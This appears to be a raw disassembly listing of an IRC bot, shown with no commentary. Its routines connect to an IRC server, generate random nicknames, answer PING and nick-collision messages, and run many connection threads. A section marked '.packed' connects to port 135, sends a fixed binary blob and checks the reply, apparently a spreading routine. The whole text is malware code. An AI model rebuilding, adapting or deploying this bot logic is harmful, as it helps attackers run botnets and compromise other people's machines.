		xor	esi, esi

loc_417E54:				; CODE XREF: sub_417D6B+12Bj
		push	[ebp+arg_0]
		call	dword_4F533C	; CloseHandle
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417E64:				; CODE XREF: sub_417D6B+C5j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4EC108, ebx
		mov	dword_4EC10C, eax
		cmp	[eax], cl
		jnz	short loc_417E86
		cmp	[eax+1], cl
		jz	short loc_417E8E

loc_417E86:				; CODE XREF: sub_417D6B+114j
					; sub_417D6B+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417E86

loc_417E8E:				; CODE XREF: sub_417D6B+119j
		mov	eax, [ebp+arg_4]
		xor	esi, esi
		inc	esi
		mov	[eax], ecx
		jmp	short loc_417E54
sub_417D6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E98	proc near		; CODE XREF: sub_41786C+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4EC104
		push	esi
		mov	esi, dword_4F541C
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	dword_4F5418	; RtlAllocateHeap
		mov	ecx, dword_4EC104
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4EC10C
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4EC110
		push	eax
		call	dword_4EBEF4
		push	[ebp+var_4]
		mov	edi, offset dword_4EBF00
		push	offset dword_4EAEF0
		push	offset dword_4EB6F0
		push	[ebp+arg_0]
		push	offset dword_44EE70
		push	200h
		push	edi
		call	sub_41EC30
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_4F5414	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417E98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F2F	proc near		; CODE XREF: sub_41786C:loc_4179A8p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4EC104
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	dword_4F541C	; GetProcessHeap
		push	eax
		call	dword_4F5418	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4EB6F0
		mov	edi, 200h
		mov	esi, offset dword_4EACF0

loc_417F75:				; CODE XREF: sub_417F2F+FAj
		mov	eax, dword_4EC104
		add	eax, eax
		push	eax
		push	dword_4EC10C
		push	[ebp+var_14]
		call	sub_41FBF0
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4EBEF4
		mov	eax, dword_4EC104
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417FEA

loc_417FB2:				; CODE XREF: sub_417F2F+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_418007
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417FD6
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417FD6
		cmp	dl, 20h
		jnb	short loc_417FD0
		and	[ebp+var_8], 0

loc_417FD0:				; CODE XREF: sub_417F2F+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417FDA

loc_417FD6:				; CODE XREF: sub_417F2F+90j
					; sub_417F2F+96j
		and	[ebp+var_8], 0

loc_417FDA:				; CODE XREF: sub_417F2F+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417FB2
		cmp	[ebp+var_8], 0
		jz	short loc_418007

loc_417FEA:				; CODE XREF: sub_417F2F+81j
		push	[ebp+var_14]
		push	offset dword_4EAEF0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_44EEC0
		push	edi
		push	esi
		call	sub_41EC30
		add	esp, 1Ch
		jmp	short loc_41801F
; ---------------------------------------------------------------------------

loc_418007:				; CODE XREF: sub_417F2F+87j
					; sub_417F2F+B9j
		push	offset dword_4EAEF0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_44EF10
		push	edi
		push	esi
		call	sub_41EC30
		add	esp, 18h

loc_41801F:				; CODE XREF: sub_417F2F+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417F75
		push	[ebp+var_14]
		push	0
		call	dword_4F541C	; GetProcessHeap
		push	eax
		call	dword_4F5414	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417F2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418048	proc near		; CODE XREF: sub_41820B+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4E3108	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_4180C4
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4E3088	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4E30C8	; inet_addr
		cmp	eax, esi
		jnz	short loc_4180A9
		push	[ebp+arg_0]
		call	dword_4E310C	; gethostbyname
		test	eax, eax
		jz	short loc_4180C4
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_4180A9:				; CODE XREF: sub_418048+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4E3030	; connect
		cmp	eax, esi
		jnz	short loc_4180C8
		push	edi
		call	dword_4E3120	; closesocket

loc_4180C4:				; CODE XREF: sub_418048+1Bj
					; sub_418048+58j
		mov	eax, esi
		jmp	short loc_4180CA
; ---------------------------------------------------------------------------

loc_4180C8:				; CODE XREF: sub_418048+73j
		mov	eax, edi

loc_4180CA:				; CODE XREF: sub_418048+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_418048	endp


; =============== S U B	R O U T	I N E =======================================



sub_4180CE	proc near		; CODE XREF: sub_401C87+3298p
					; sub_401C87+3301p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_44FB40 ; "\n	 "
		push	edi
		call	sub_41F630
		pop	ecx
		mov	esi, offset dword_4EC11C
		pop	ecx

loc_4180E6:				; CODE XREF: sub_4180CE+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_418104
		cmp	dword ptr [esi], 0
		jbe	short loc_418104
		push	0
		push	edi
		call	sub_41BC70
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4E30D8	; send

loc_418104:				; CODE XREF: sub_4180CE+1Cj
					; sub_4180CE+21j
		add	esi, 210h
		cmp	esi, offset byte_4F283C
		jl	short loc_4180E6
		pop	edi
		pop	esi
		retn
sub_4180CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418115	proc near		; CODE XREF: sub_41820B+14Fp

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	esi
		push	edi
		push	44FB42h
		push	[ebp+arg_0]
		call	sub_41F870
		xor	esi, esi
		pop	ecx
		inc	esi
		pop	ecx
		mov	[ebp+var_20], eax
		xor	edi, edi

loc_418137:				; CODE XREF: sub_418115+37j
		push	44FB44h
		push	edi
		call	sub_41F870
		mov	[ebp+esi*4+var_20], eax
		inc	esi
		pop	ecx
		cmp	esi, 8
		pop	ecx
		jl	short loc_418137
		cmp	[ebp+var_20], edi
		mov	esi, [ebp+var_1C]
		jnz	short loc_418162
		cmp	esi, edi
		jnz	short loc_418162
		xor	eax, eax
		inc	eax
		jmp	loc_418207
; ---------------------------------------------------------------------------

loc_418162:				; CODE XREF: sub_418115+3Fj
					; sub_418115+43j
		push	[ebp+var_20]
		push	offset aPing_1	; "PING"
		call	sub_41F7E0
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_41818C
		lea	eax, [ebp+var_220]
		push	offset aPongS_0	; "PONG	%s\n"
		push	eax
		call	sub_41EA60
		add	esp, 0Ch
		jmp	short loc_4181E6
; ---------------------------------------------------------------------------

loc_41818C:				; CODE XREF: sub_418115+5Fj
		push	offset a433_0	; "433"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4181AD
		push	esi
		push	offset a432	; "432"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418205

loc_4181AD:				; CODE XREF: sub_418115+85j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41E4B0
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_418428
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_220]
		push	offset aNickS_5	; "NICK	%s\n"
		push	eax
		call	sub_41EA60
		add	esp, 1Ch

loc_4181E6:				; CODE XREF: sub_418115+75j
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send

loc_418205:				; CODE XREF: sub_418115+96j
		xor	eax, eax

loc_418207:				; CODE XREF: sub_418115+48j
		pop	edi
		pop	esi
		leave
		retn
sub_418115	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41820B	proc near		; DATA XREF: sub_4183AA+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41EF80
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		xor	edi, edi
		push	dword_4EC324[esi]
		lea	eax, dword_4EC124[esi]
		inc	edi
		push	eax
		mov	dword_4EC118[esi], edi
		call	sub_418048
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4EC11C[esi], eax
		jb	loc_41838A
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41E4B0
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_418428
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_418428
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_418428
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41EA60
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4EC11C[esi]
		call	dword_4E30D8	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch

loc_4182E4:				; CODE XREF: sub_41820B+17Aj
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4EC11C[esi]
		call	dword_4E30A0	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_41838A
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		jmp	short loc_418380
; ---------------------------------------------------------------------------

loc_418318:				; CODE XREF: sub_41820B+178j
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_41833F
		cmp	al, 0Ah
		jz	short loc_41833F
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_41833F
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_418379
; ---------------------------------------------------------------------------

loc_41833F:				; CODE XREF: sub_41820B+116j
					; sub_41820B+11Aj ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_418379
		push	dword_4EC11C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_418115
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_41838A
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_418379:				; CODE XREF: sub_41820B+132j
					; sub_41820B+139j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]

loc_418380:				; CODE XREF: sub_41820B+10Bj
		mov	[ebp+var_4], eax
		jnz	short loc_418318
		jmp	loc_4182E4
; ---------------------------------------------------------------------------

loc_41838A:				; CODE XREF: sub_41820B+40j
					; sub_41820B+104j ...
		mov	dword_4EC118[esi], ebx
		mov	esi, dword_4EC11C[esi]
		cmp	esi, ebx
		jbe	short loc_4183A1
		push	esi
		call	dword_4E3120	; closesocket

loc_4183A1:				; CODE XREF: sub_41820B+18Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_41820B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4183AA	proc near		; CODE XREF: sub_401C87+31EBp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_418423

loc_4183BC:				; CODE XREF: sub_4183AA+77j
		xor	edi, edi
		mov	eax, offset dword_4EC118

loc_4183C3:				; CODE XREF: sub_4183AA+28j
		cmp	[eax], ebx
		jz	short loc_4183D4
		add	eax, 210h
		inc	edi
		cmp	eax, offset byte_4F2838
		jl	short loc_4183C3

loc_4183D4:				; CODE XREF: sub_4183AA+1Bj
		cmp	edi, 31h
		jz	short loc_418423
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4EC124[esi]
		push	eax
		call	sub_41F620
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4EC324[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4EC118[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_41820B
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_4183BC

loc_418423:				; CODE XREF: sub_4183AA+10j
					; sub_4183AA+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4183AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418428	proc near		; CODE XREF: sub_401C87+373Ep
					; sub_401C87+3781p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		call	sub_41EB70
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fmul	dbl_43C4D8
		call	sub_4201DC
		cmp	eax, 1
		jnz	short loc_418472
		call	sub_41EB70
		call	sub_41EB70
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_44F9A8[edx*4]
		jmp	short loc_41848B
; ---------------------------------------------------------------------------

loc_418472:				; CODE XREF: sub_418428+2Fj
		call	sub_41EB70
		call	sub_41EB70
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_44F4E8[edx*4]

loc_41848B:				; CODE XREF: sub_418428+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41F620
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41BC70
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		call	sub_41EB70
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_43C4D0
		call	sub_4201DC
		mov	ebx, eax
		call	sub_41EB70
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fimul	[ebp+var_4]
		fmul	dbl_43C4C8
		call	sub_4201DC
		cmp	esi, 2
		mov	edi, offset a__2 ; "-|`_\\{[]}"
		jle	short loc_4184FE
		cmp	esi, 3
		jnz	short loc_4184F5
		cmp	ebx, 1
		jz	short loc_4184FE

loc_4184F5:				; CODE XREF: sub_418428+C6j
		cmp	eax, 1
		jnz	loc_4185B7

loc_4184FE:				; CODE XREF: sub_418428+C1j
					; sub_418428+CBj
		call	sub_41EB70
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_43C4C0
		call	sub_4201DC
		push	off_44F9A8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41F620
		lea	ebx, [ebp+esi+var_2C]
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41F720
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4185A4
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41F720
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4185A4
		call	sub_41EB70
		mov	dword ptr [ebp+var_10+4], eax
		dec	esi
		fild	dword ptr [ebp+var_10+4]
		mov	dword ptr [ebp+var_10+4], esi
		fild	dword ptr [ebp+var_10+4]
		fmulp	st(1), st
		fmul	dbl_43C4C8
		call	sub_4201DC
		cmp	eax, 1
		jnz	short loc_4185A4
		push	edi
		call	sub_41BC70
		and	dword ptr [ebp+var_10+4], 0
		mov	dword ptr [ebp+var_10],	eax
		fild	[ebp+var_10]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41EB70
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_43C4C8
		call	sub_4201DC
		mov	al, byte ptr a__2[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_4185A4:				; CODE XREF: sub_418428+110j
					; sub_418428+121j ...
		push	dword ptr [ebp+var_18+4]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41FAC0
		add	esp, 0Ch

loc_4185B7:				; CODE XREF: sub_418428+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BC70
		mov	esi, eax
		mov	[ebp+var_4], esi
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		call	sub_4218B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41880E
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		push	edi
		xor	ebx, ebx
		call	sub_41F720
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418710
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_43C4C8
		call	sub_4201DC
		cmp	esi, 3
		jz	short loc_418621
		cmp	eax, 1
		jnz	loc_418710

loc_418621:				; CODE XREF: sub_418428+1EEj
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_418665
		push	edi
		call	sub_41BC70
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_43C4C8
		call	sub_4201DC
		mov	al, byte ptr a__2[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_418683
; ---------------------------------------------------------------------------

loc_418665:				; CODE XREF: sub_418428+202j
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_43C4B8
		call	sub_4201DC
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_418683:				; CODE XREF: sub_418428+23Bj
		inc	esi
		xor	ebx, ebx
		mov	[ebp+var_4], esi
		inc	ebx
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_43C4B0
		call	sub_4201DC
		cmp	esi, 3
		jz	short loc_4186A9
		cmp	eax, ebx
		jnz	short loc_418710

loc_4186A9:				; CODE XREF: sub_418428+27Bj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_4186EE
		push	edi
		call	sub_41BC70
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_43C4C8
		call	sub_4201DC
		mov	al, byte ptr a__2[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41870C
; ---------------------------------------------------------------------------

loc_4186EE:				; CODE XREF: sub_418428+28Bj
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_43C4B8
		call	sub_4201DC
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_41870C:				; CODE XREF: sub_418428+2C4j
		inc	esi
		mov	[ebp+var_4], esi

loc_418710:				; CODE XREF: sub_418428+1C4j
					; sub_418428+1F3j ...
		cmp	esi, 6
		jge	short loc_418790
		call	sub_41EB70
		cmp	esi, 5
		jge	short loc_41872D
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_43C4D0
		jmp	short loc_418746
; ---------------------------------------------------------------------------

loc_41872D:				; CODE XREF: sub_418428+2F5j
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_43C4C8

loc_418746:				; CODE XREF: sub_418428+303j
		call	sub_4201DC
		test	eax, eax
		jnz	short loc_418769
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_43C4A8
		call	sub_4201DC
		mov	cl, 30h
		jmp	short loc_418786
; ---------------------------------------------------------------------------

loc_418769:				; CODE XREF: sub_418428+325j
		cmp	eax, 1
		jnz	short loc_418790
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_43C4B8
		call	sub_4201DC
		mov	cl, 41h

loc_418786:				; CODE XREF: sub_418428+33Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_418790:				; CODE XREF: sub_418428+2EBj
					; sub_418428+344j
		cmp	ebx, 2
		jge	short loc_41880E
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_43C4C8
		call	sub_4201DC
		cmp	eax, 1
		jnz	short loc_41880E
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_43C4A8
		call	sub_4201DC
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_43C4A0
		call	sub_4201DC
		cmp	eax, 1
		jnz	short loc_41880E
		cmp	ebx, eax
		jge	short loc_41880E
		call	sub_41EB70
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_43C498
		call	sub_4201DC
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_41880E:				; CODE XREF: sub_418428+1ACj
					; sub_418428+36Bj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41E510
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418428	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418827	proc near		; CODE XREF: .packed:00418984p
					; .packed:004189ABp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_418855

loc_418838:				; CODE XREF: sub_418827+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_421BD0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41885B
		inc	esi
		cmp	esi, edi
		jl	short loc_418838

loc_418855:				; CODE XREF: sub_418827+Fj
		xor	al, al

loc_418857:				; CODE XREF: sub_418827+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41885B:				; CODE XREF: sub_418827+27j
		mov	al, 1
		jmp	short loc_418857
sub_418827	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41EF80
		mov	eax, [ebp+0Ch]
		push	esi
		dec	eax
		push	edi
		jz	short loc_4188A0
		dec	eax
		jz	short loc_41887E
		dec	eax

loc_418878:				; CODE XREF: .packed:004188B6j
		xor	eax, eax

loc_41887A:				; CODE XREF: .packed:0041889Ej
					; .packed:004189C8j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_41887E:				; CODE XREF: .packed:00418875j
		push	3
		push	1388h
		push	dword ptr [ebp+8]
		call	dword_4E30C8	; inet_addr
		push	eax
		call	sub_40C611
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_41887A
; ---------------------------------------------------------------------------

loc_4188A0:				; CODE XREF: .packed:00418872j
		push	6
		push	1
		push	2
		call	dword_4E3108	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+0Ch], esi
		jz	short loc_418878
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp-10h]
		push	ebx
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	word ptr [ebp-10h], 2
		push	87h
		call	dword_4E3088	; htons
		push	dword ptr [ebp+8]
		mov	[ebp-0Eh], ax
		call	sub_40AD91
		pop	ecx
		mov	[ebp-0Ch], eax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_4E3030	; connect
		cmp	eax, edi
		jz	loc_4189BC
		push	ebx
		push	48h
		push	offset dword_44FBB0
		push	esi
		call	dword_4E30D8	; send
		cmp	eax, edi
		jz	loc_4189BC
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp-2010h]
		push	esi
		push	eax
		push	dword ptr [ebp+0Ch]
		call	dword_4E30A0	; recv
		cmp	eax, edi
		jz	loc_4189BC
		cmp	byte ptr [ebp-200Eh], 0Ch
		jnz	short loc_4189BC
		push	ebx
		push	18h
		push	offset dword_44FBFC
